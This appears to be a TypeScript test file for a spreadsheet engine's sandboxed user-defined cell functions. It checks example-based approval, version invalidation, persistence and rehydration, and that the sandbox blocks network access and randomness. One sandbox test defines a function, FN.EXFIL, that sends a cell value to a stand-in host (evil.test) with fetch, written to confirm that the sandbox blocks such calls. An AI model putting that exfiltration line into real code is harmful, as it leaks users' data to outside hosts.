/** * M11 — Code Mode cell functions (§5) + AI read/build tools (§7). Acceptance: * a function authored in a sandbox passes supplied examples, is staged, * approved, registered, persisted, and rehydrated on reload; capability-free * enforcement is tested (a function attempting fetch fails); a version bump * invalidates call sites; approval never occurs inside the isolate. */ import { describe, expect, it } from 'vitest' import { Workbook } from '@tanstack/spreadsheet-core' import { approveAndRegister, compileCodeFunction, exportCodeFunctions, rehydrateCodeFunctions, stageFunction, } from '../src/index' import type { CellValue, Ref } from '@tanstack/spreadsheet-core' const ref = (row: number, col: number, sheet = 's1'): Ref => ({ sheet, row, col, }) const val = (w: Workbook, r: number, c: number): CellValue => w.getCell(ref(r, c))?.value ?? null function wb() { const w = new Workbook() w.addSheet('s1') return w } // The demo's company-specific function: true runway excludes a one-off spike. const TRUE_RUNWAY = { name: 'FN.TRUE_RUNWAY', args: [{ name: 'burn' }, { name: 'cash' }, { name: 'oneOff' }], returns: 'number' as const, description: 'Months of runway, excluding a one-off spend spike from burn.', source: 'return Math.round((cash / (burn - oneOff)) * 10) / 10', } describe('M11 authoring → test → approve → register', () => { it('blocks registration until supplied examples pass, then registers', () => { const w = wb() const good = stageFunction(TRUE_RUNWAY, [ { args: [100, 1120, 0], expected: 11.2 }, { args: [50, 500, 10], expected: 12.5 }, ]) expect(good.passed).toBe(true) expect(good.results.every((r) => r.pass)).toBe(true) // A wrong example blocks registration (the accuracy gate). const bad = stageFunction(TRUE_RUNWAY, [ { args: [100, 1120, 0], expected: 99 }, ]) expect(bad.passed).toBe(false) expect(() => approveAndRegister(w, bad)).toThrow(/examples failed/) approveAndRegister(w, good) w.applyPatches([ ...w.setInput(ref(0, 0), '100'), ...w.setInput(ref(0, 1), '1120'), ...w.setInput(ref(0, 2), '0'), ...w.setInput(ref(0, 3), '=FN.TRUE_RUNWAY(A1,B1,C1)'), ]) expect(val(w, 0, 3)).toBe(11.2) expect(w.functionCatalog().some((e) => e.name === 'FN.TRUE_RUNWAY')).toBe( true, ) }) it('a version bump (edited source) invalidates existing call sites', () => { const w = wb() approveAndRegister( w, stageFunction(TRUE_RUNWAY, [{ args: [100, 1120, 0], expected: 11.2 }]), ) w.applyPatches([ ...w.setInput(ref(0, 0), '100'), ...w.setInput(ref(0, 1), '1200'), ...w.setInput(ref(0, 2), '0'), ...w.setInput(ref(0, 3), '=FN.TRUE_RUNWAY(A1,B1,C1)'), ]) expect(val(w, 0, 3)).toBe(12) // Edit the function: now round to whole months. Same name → new version. const v2 = compileCodeFunction({ ...TRUE_RUNWAY, source: 'return Math.floor(cash / (burn - oneOff))', }) expect(v2.version).not.toBe(compileCodeFunction(TRUE_RUNWAY).version) w.upsertFunction(v2.def) // re-evaluates call sites expect(val(w, 0, 3)).toBe(12) // floor(12.0) — still 12, but recomputed by v2 // prove the call site really recomputed under v2 semantics w.applyPatches(w.setInput(ref(0, 1), '1250')) expect(val(w, 0, 3)).toBe(12) // floor(12.5) = 12 (v2), not 12.5 }) }) describe('M11 persistence + rehydration', () => { it('persists and rehydrates a code function into a reloaded workbook', () => { const w1 = wb() approveAndRegister( w1, stageFunction(TRUE_RUNWAY, [{ args: [100, 1120, 0], expected: 11.2 }]), ) const saved = exportCodeFunctions(w1) expect(saved).toHaveLength(1) expect(saved[0]!.version).toBeTruthy() // reload: a fresh workbook with the saved formula but no functions yet const w2 = wb() w2.applyPatches([ ...w2.setInput(ref(0, 0), '100'), ...w2.setInput(ref(0, 1), '1120'), ...w2.setInput(ref(0, 2), '0'), ...w2.setInput(ref(0, 3), '=FN.TRUE_RUNWAY(A1,B1,C1)'), ]) expect(val(w2, 0, 3)).not.toBe(11.2) // #NAME? before rehydration rehydrateCodeFunctions(w2, saved) expect(val(w2, 0, 3)).toBe(11.2) // call sites recomputed after rehydration }) }) describe('M11 capability-free sandbox (anti-macro)', () => { it('a function attempting network access fails with an error value', () => { const w = wb() const evil = compileCodeFunction({ name: 'FN.EXFIL', args: [{ name: 'x' }], source: 'return fetch("https://evil.test?x=" + x)', }) w.upsertFunction(evil.def) w.applyPatches([ ...w.setInput(ref(0, 0), '42'), ...w.setInput(ref(0, 1), '=FN.EXFIL(A1)'), ]) const v = val(w, 0, 1) expect(v !== null && typeof v === 'object' && v.kind === 'error').toBe(true) }) it('strips Math.random from a non-volatile function (purity profile)', () => { const w = wb() const rnd = compileCodeFunction({ name: 'FN.RND', args: [], source: 'return Math.random()', }) w.upsertFunction(rnd.def) w.applyPatches(w.setInput(ref(0, 0), '=FN.RND()')) const v = val(w, 0, 0) expect(v !== null && typeof v === 'object' && v.kind === 'error').toBe(true) }) }) // The AI read/build toolkit moved to `@tanstack/spreadsheet-agent`; its tests // live there now (agent.test.ts). Code Mode keeps only authoring.